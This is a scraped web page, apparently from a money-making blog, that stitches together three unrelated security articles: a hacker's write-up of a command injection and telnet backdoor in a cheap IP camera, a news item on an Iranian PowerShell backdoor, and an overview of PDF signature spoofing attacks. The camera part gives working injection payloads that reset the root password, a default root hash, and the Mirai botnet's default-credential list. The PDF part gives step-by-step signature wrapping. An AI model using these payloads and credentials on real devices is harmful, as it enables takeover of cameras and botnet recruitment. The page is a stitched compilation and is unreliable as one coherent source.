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The time has come. I bought my second IoT device - in the form of a cheap IP camera. As it was the most affordable among all others, my expectations regarding security was low. But this camera was still able to surprise me.

Maybe I will disclose the camera model used in my hack in this blog later, but first, I will try to contact someone regarding these issues. Unfortunately, it seems a lot of different cameras have this problem because they share being developed on the same SDK. Again, my expectations are low on this.

The obvious problems

I opened the box, and I was greeted with a password of four numeric characters. This is the password for the "admin" user, which can configure the device, watch its output video, and so on. Most people don't care to change this anyway.

It is obvious that this camera can talk via Ethernet cable or WiFi. Luckily it supports WPA2, but people can configure it for open unprotected WiFi of course.

Sniffing the traffic between the camera and the desktop application it is easy to see that it talks via HTTP on port 81. The session management is pure genius. The username and password are sent in every GET request. Via HTTP. Via hopefully not open WiFi. It comes really handy in case you forgot it, but luckily the desktop app already saved the password for you in clear text in

"C:\Users\<USER>\AppData\Local\VirtualStore\Program Files (x86)\<REDACTED>\list.dat"

This nice camera communicates to the cloud via UDP. The destination servers are in Hong Kong - user.ipcam.hk/user.easyn.hk - and China - op2.easyn.cn/op3.easyn.cn. In case you wonder why an IP camera needs a cloud connection, it is simple. This IP camera has a mobile app for Android and iOS, and via the cloud, the users don't have to bother to configure port forwards or dynamic DNS to access the camera. Nice.

Let's run a quick nmap on this device.

PORT     STATE SERVICE    VERSION 23/tcp   open  telnet     BusyBox telnetd 81/tcp   open  http       GoAhead-Webs httpd | http-auth:  | HTTP/1.1 401 Unauthorized |_  Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81 |_http-methods: No Allow or Public header in OPTIONS response (status code 400) |_http-title: Document Error: Unauthorized 8600/tcp open  tcpwrapped

The already known HTTP server, a telnet server via BusyBox, and a port on 8600 (have not checked so far). The 27-page long online manual does not mention any Telnet port. How shall we name this port? A debug port? Or a backdoor port? We will see. I manually tried 3 passwords for the user root, but as those did not work, I moved on.

The double-blind command injection

The IP camera can upload photos to a configured FTP server on a scheduled basis. When I configured it, unfortunately, it was not working at all, I got an invalid username/password on the server. After some debugging, it turned out the problem was that I had a special $ character in the password. And this is where the real journey began. I was sure this was a command injection vulnerability, but not sure how to exploit it. There were multiple problems that made the exploitation harder. I call this vulnerability double-blind command injection. The first blind comes from the fact that we cannot see the output of the command, and the second blind comes from the fact that the command was running in a different process than the webserver, thus any time-based injection involving sleep was not a real solution.

But the third problem was the worst. It was limited to 32 characters. I was able to leak some information via DNS, like with the following commands I was able to see the current directory:

$(ping%20-c%202%20%60pwd%60)

or cleaning up after URL decode:

$(ping -c 2 `pwd`)

but whenever I tried to leak information from /etc/passwd, I failed. I tried $(reboot) which was a pretty bad idea, as it turned the camera into an infinite reboot loop, and the hard reset button on the camera failed to work as well. Fun times.

The following are some examples of my desperate trying to get shell access. And this is the time to thank EQ for his help during the hacking session night, and for his great ideas.

$(cp /etc/passwd /tmp/a)       ;copy /etc/passwd to a file which has a shorter name $(cat /tmp/a|head -1>/tmp/b)   ;filter for the first row $(cat</tmp/b|tr -d ' '>/tmp/c) ;filter out unwanted characters $(ping `cat /tmp/c`)           ;leak it via DNS

After I finally hacked the camera, I saw the problem. There is no head, tr, less, more or cut on this device ... Neither netcat, bash ...

I also tried commix, as it looked promising on Youtube. Think commix like sqlmap, but for command injection. But this double-blind hack was a bit too much for this automated tool, unfortunately.

But after spending way too much time without progress, I finally found the password to Open Sesame.

$(echo 'root:passwd'|chpasswd)

Now, logging in via telnet

(none) login: root Password:  BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash) Enter 'help' for a list of built-in commands. #

Woot woot :) I quickly noticed the root of the command injection problem:

# cat /tmp/ftpupdate.sh /system/system/bin/ftp -n<<! open ftp.site.com 21 user ftpuser $(echo 'root:passwd'|chpasswd) binary mkdir  PSD-111111-REDACT cd PSD-111111-REDACT lcd /tmp put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg close bye

Whenever a command is put into the FTP password field, it is copied into this script, and after the script is scheduled, it is interpreted by the shell as commands. After this I started to panic that I forgot to save the content of the /etc/passwd file, so how am I going to crack the default telnet password? "Luckily", rebooting the camera restored the original password.

root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh

Unfortunately, there is no need to start good-old John The Ripper for this task, as Google can tell you that this is the hash for the password 123456. It is a bit more secure than a luggage password.

It is time to recap what we have. There is an undocumented telnet port on the IP camera, which can be accessed by default with root:123456, there is no GUI to change this password, and changing it via console, it only lasts until the next reboot. I think it is safe to tell this a backdoor.

With this console access we can access the password for the FTP server, for the SMTP server (for alerts), the WiFi password (although we probably already have it), access the regular admin interface for the camera, or just modify the camera as we want. In most deployments, luckily this telnet port is behind NAT or firewall, so not accessible from the Internet. But there are always exceptions. Luckily, UPNP does not configure the Telnet port to be open to the Internet, only the camera HTTP port 81. You know, the one protected with the 4 character numeric password by default.

Last but not least everything is running as root, which is not surprising.

My hardening list

I added these lines to the end of /system/init/ipcam.sh:

sleep 15 echo 'root:CorrectHorseBatteryRedStaple'|chpasswd

Also, if you want, you can disable the telnet service by commenting out telnetd in /system/init/ipcam.sh.

If you want to disable the cloud connection (thus rendering the mobile apps unusable), put the following line into the beginning of /system/init/ipcam.sh

iptables -A OUTPUT -p udp ! --dport 53 -j DROP

You can use OpenVPN to connect into your home network and access the web interface of the camera. It works from Android, iOS, and any desktop OS.

My TODO list

Investigate the script /system/system/bin/gmail_thread
Investigate the cloud protocol * - see update 2016 10 27
Buy a Raspberry Pie, integrate with a good USB camera, and watch this IP camera to burn

A quick googling revealed I am not the first finding this telnet backdoor account in IP cameras, although others found it via JTAG firmware dump.

And 99% of the people who buy these IP cameras think they will be safe with it. Now I understand the sticker which came with the IP camera.

When in the next episode of Mr. Robot, you see someone logging into an IP camera via telnet with root:123456, you will know, it is the sad reality.

If you are interested in generic ways to protect your home against IoT, read my previous blog post on this.

Update: as you can see in the following screenshot, the bad guys already started to take advantage of this issue ... https://www.incapsula.com/blog/cctv-ddos-botnet-back-yard.html

Update 20161006: The Mirai source code was leaked last week, and these are the worst passwords you can have in an IoT device. If your IoT device has a Telnet port open (or SSH), scan for these username/password pairs.

root xc3511
root vizxv
root admin
admin admin
root 888888
root xmhdipc
root default
root juantech
root 123456
root 54321
support support
root (none)
admin password
root root
root 12345
user user
admin (none)
root pass
admin admin1234
root 1111
admin smcadmin
admin 1111
root 666666
root password
root 1234
root klv123
Administrator admin
service service
supervisor supervisor
guest guest
guest 12345
guest 12345
admin1 password
administrator 1234
666666 666666
888888 888888
ubnt ubnt
root klv1234
root Zte521
root hi3518
root jvbzd
root anko
root zlxx.
root 7ujMko0vizxv
root 7ujMko0admin
root system
root ikwb
root dreambox
root user
root realtek
root 00000000
admin 1111111
admin 1234
admin 12345
admin 54321
admin 123456
admin 7ujMko0admin
admin 1234
admin pass
admin meinsm
tech tech
mother fucker

Update 2016 10 27: As I already mentioned this at multiple conferences, the cloud protocol is a nightmare. It is clear-text, and even if you disabled port-forward/UPNP on your router, the cloud protocol still allows anyone to connect to the camera if the attacker knows the (brute-forceable) camera ID. Although this is the user-interface only, now the attacker can use the command injection to execute code with root privileges. Or just grab the camera configuration, with WiFi, FTP, SMTP passwords included.
Youtube video : https://www.youtube.com/watch?v=18_zTjsngD8
Slides (29 - ) https://www.slideshare.net/bz98/iot-security-is-a-nightmare-but-what-is-the-real-risk

Update 2017-03-08: "Because of code reusing, the vulnerabilities are present in a massive list of cameras (especially the InfoLeak and the RCE),
which allow us to execute root commands against 1250+ camera models with a pre-auth vulnerability. "https://pierrekim.github.io/advisories/2017-goahead-camera-0x00.txt

Update 2017-05-11: CVE-2017-5674 (see above), and my command injection exploit was combined in the Persirai botnet. 120 000 cameras are expected to be infected soon. If you still have a camera like this at home, please consider the following recommendation by Amit Serper "The only way to guarantee that an affected camera is safe from these exploits is to throw it out. Seriously."
This issue might be worse than the Mirai worm because these effects cameras and other IoT behind NAT where UPnP was enabled.
http://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/

More info

An advanced persistent threat group with links to Iran has updated its malware toolset to include a novel PowerShell-based implant called PowerLess Backdoor, according to new research published by Cybereason.

The Boston-headquartered cybersecurity company attributed the malware to a hacking group known as Charming Kitten (aka Phosphorous, APT35, or TA453), while also calling out the backdoor's evasive PowerShell execution.

"The PowerShell code runs in the context of a .NET application, thus not launching 'powershell.exe' which enables it to evade security products," Daniel Frank, senior malware researcher at Cybereason, said. "The toolset analyzed includes extremely modular, multi-staged malware that decrypts and deploys additional payloads in several stages for the sake of both stealth and efficacy."

The threat actor, which is active since at least 2017, has been behind a series of campaigns in recent years, including those wherein the adversary posed as journalists and scholars to deceive targets into installing malware and stealing classified information.

Earlier this month, Check Point Research disclosed details of an espionage operation that involved the hacking group exploiting the Log4Shell vulnerabilities to deploy a modular backdoor dubbed CharmPower for follow-on attacks.

The latest refinements to its arsenal, as spotted by Cybereason, constitutes an entirely new toolset that encompasses the PowerLess Backdoor, which is capable of downloading and executing additional modules such as a browser info-stealer and a keylogger.

Also potentially linked to the same developer of the backdoor are a number of other malware artifacts, counting an audio recorder, an earlier variant of the information stealer, and what the researchers suspect to be an unfinished ransomware variant coded in .NET.

Furthermore, infrastructure overlaps have been identified between the Phosphorus group and a new ransomware strain called Memento, which first emerged in November 2021 and took the unusual step of locking files within password-protected archives, followed by encrypting the password and deleting the original files, after their attempts to encrypt the files directly were blocked by endpoint protection.

"The activity of Phosphorus with regard to ProxyShell took place in about the same time frame as Memento," Frank said. "Iranian threat actors were also reported to be turning to ransomware during that period, which strengthens the hypothesis that Memento is operated by an Iranian threat actor."

Digitally Signed PDFs? Who the Hell uses this?

Maybe you asked yourself, if signed PDFs are important and who uses them.
In fact, you may have already used them.
Have you ever opened an Invoice by companies such as Amazon, Sixt, or Decathlon?
These PDFs are digitally signed and protected against modifications.
In fact, PDF signatures are widely deployed in our world. In 2000, President Bill Clinton enacted a federal law facilitating the use of electronic and digital signatures in interstate and foreign commerce by ensuring the validity and legal effect of contracts. He approved the eSign Act by digitally signing it.
Since 2014, organizations delivering public digital services in an EU member state are required to support digitally signed documents, which are even admissible as evidence in legal proceedings.
In Austria, every governmental authority digitally signs any official document [§19]. In addition, any new law is legally valid after its announcement within a digitally signed PDF.
Several countries like Brazil, Canada, the Russian Federation, and Japan also use and accept digitally signed documents.
According to Adobe Sign, the company processed 8 billion electronic and digital signatures in the 2017 alone.

Crash Course: PDF and PDF Signatures

To understand how to spoof PDF Signatures, we unfortunately need to explain the basics first. So here is a breef overview.

PDF files are ASCII files. You can use a common text editor to open them and read the source code.

PDF header. The header is the first line within a PDF and defines the interpreter version to be used. The provided example uses version PDF 1.7.

PDF body. The body defines the content of the PDF and contains text blocks, fonts, images, and metadata regarding the file itself. The main building blocks within the body are objects. Each object starts with an object number followed by a generation number. The generation number should be incremented if additional changes are made to the object.

In the given example, the Body contains four objects: Catalog, Pages, Page, and stream. The Catalog object is the root object of the PDF file. It defines the document structure and can additionally declare access permissions. The Catalog refers to a Pages object which defines the number of the pages and a reference to each Page object (e.g., text columns). The Page object contains information how to build a single page. In the given example, it only contains a single string object "Hello World!".

Xref table. The Xref table contains information about the position (byte offset) of all PDF objects within the file.

Trailer. After a PDF file is read into memory, it is processed from the end to the beginning. By this means, the Trailer is the first processed content of a PDF file. It contains references to the Catalog and the Xref table.

How do PDF Signatures work?

PDF Signatures rely on a feature of the PDF specification called incremental saving (also known as incremental update), allowing the modification of a PDF file without changing the previous content.

As you can see in the figure on the left side, the original document is the same document as the one described above. By signing the document, an incremental saving is applied and the following content is added: a new Catalog, a Signature object, a new Xref table referencing the new object(s), and a new Trailer. The new Catalog extends the old one by adding a reference to the Signature object. The Signature object (5 0 obj) contains information regarding the applied cryptographic algorithms for hashing and signing the document. It additionally includes a Contents parameter containing a hex-encoded PKCS7 blob, which holds the certificates as well as the signature value created with the private key corresponding to the public key stored in the certificate. The ByteRange parameter defines which bytes of the PDF file are used as the hash input for the signature calculation and defines 2 integer tuples:
a, b : Beginning at byte offset a, the following b bytes are used as the first input for the hash calculation. Typically, a 0 is used to indicate that the beginning of the file is used while a b is the byte offset where the PKCS#7 blob begins.
c, d : Typically, byte offset c is the end of the PKCS#7 blob, while c d points to the last byte range of the PDF file and is used as the second input to the hash calculation.

According to the specification, it is recommended to sign the whole file except for the PKCS#7 blob (located in the range between a b and c).

Attacks

During our research, we discovered three novel attack classes on PDF signatures:

Universal Signature Forgery (USF)
Incremental Saving Attack (ISA)
Signature Wrapping Attack (SWA)

In this blog post, we give an overview on the attacks without going into technical details. If you are more interested, just take a look at the sources we summarized for you here.

Universal Signature Forgery (USF)

The main idea of Universal Signature Forgery (USF) is to manipulate the meta information in the signature in such a way that the targeted viewer application opens the PDF file, finds the signature, but is unable to find all necessary data for its validation.

Instead of treating the missing information as an error, it shows that the contained signature is valid. For example, the attacker can manipulate the Contents or ByteRange values within the Signature object. The manipulation of these entries is reasoned by the fact that we either remove the signature value or the information stating which content is signed.
The attack seems trivial, but even very good implementations like Adobe Reader DC preventing all other attacks were susceptible against USF.

Incremental Saving Attack (ISA)

The Incremental Saving Attack (ISA) abuses a legitimate feature of the PDF specification, which allows to update a PDF file by appending the changes. The feature is used, for example, to store PDF annotations, or to add new pages while editing the file.

The main idea of the ISA is to use the same technique for changing elements, such as texts, or whole pages included in the signed PDF file to what the attacker desires.
In other words, an attacker can redefine the document's structure and content using the Body Updates part. The digital signature within the PDF file protects precisely the part of the file defined in the ByteRange. Since the incremental saving appends the Body Updates to the end of the file, it is not part of the defined ByteRange and thus not part of the signature's integrity protection. Summarized, the signature remains valid, while the Body Updates changed the displayed content.
This is not forbidden by the PDF specification, but the signature validation should indicate that the document has been altered after signing.

Signature Wrapping Attack (SWA)

Independently of the PDFs, the main idea behind Signature Wrapping Attacks is to force the verification logic to process different data than the application logic.

In PDF files, SWA targets the signature validation logic by relocating the originally signed content to a different position within the document and inserting new content at the allocated position. The starting point for the attack is the manipulation of the ByteRange value allowing to shift the signed content to different loctions within the file.

On a very technical level, the attacker uses a validly signed document (shown on the left side) and proceeds as follows:

Step 1 (optional): The attacker deletes the padded zero Bytes within the Contents parameter to increase the available space for injecting manipulated objects.
Step 2: The attacker defines a new /ByteRange [a b c* d] by manipulating the c value, which now points to the second signed part placed on a different position within the document.
Step 3: The attacker creates a new Xref table pointing to the new objects. It is essential that the byte offset of the newly inserted Xref table has the same byte offset as the previous Xref table. The position is not changeable since it is refer- enced by the signed Trailer. For this purpose, the attacker can add a padding block (e.g., using whitespaces) before the new Xref table to fill the unused space.
Step 4: The attacker injects malicious objects which are not protected by the signature. There are different injection points for these objects. They can be placed before or after the malicious Xref table. If Step 1 is not executed, it is only possible to place them after the malicious Xref table.
Step 5 (optional): Some PDF viewers need a Trailer after the manipulated Xref table, otherwise they cannot open the PDF file or detect the manipulation and display a warning message. Copying the last Trailer is sufficient to bypass this limitation.
Step 6: The attacker moves the signed content defined by c and d at byte offset c*. Optionally, the moved content can be encapsulated within a stream object. Noteworthy is the fact that the manipulated PDF file does not end with %%EOF after the endstream. The reason why some validators throw a warning that the file was manipulated after signing is because of an %%EOF after the signed one. To bypass this requirement, the PDF file is not correctly closed. However, it will be still processed by any viewer.

Evaluation

In our evaluation, we searched for desktop applications validating digitally signed PDF files. We analyzed the security of their signature validation process against our 3 attack classes. The 22 applications fulfill these requirements. We evaluated the latest versions of the applications on all supported platforms (Windows, MacOS, and Linux).

Authors of this Post

Vladislav Mladenov
Christian Mainka
Karsten Meyer zu Selhausen
Martin Grothe
Jörg Schwenk

Acknowledgements

Many thanks to the CERT-Bund team for the great support during the responsible disclosure.
We also want to acknowledge the teams which reacted to our report and fixed the vulnerable implementations.

Actually Make Money Online

Monday, May 29, 2023

How I Hacked My IP Camera, And Found This Backdoor Account

The obvious problems

The double-blind command injection

My hardening list

My TODO list

More info

Iranian Hackers Using New PowerShell Backdoor In Cyber Espionage Attacks

Related articles

How To Spoof PDF Signatures

Digitally Signed PDFs? Who the Hell uses this?

Crash Course: PDF and PDF Signatures

How do PDF Signatures work?

Attacks

Universal Signature Forgery (USF)

Incremental Saving Attack (ISA)

Signature Wrapping Attack (SWA)

Evaluation

Authors of this Post

Acknowledgements

Related word

Actually Make Money Online

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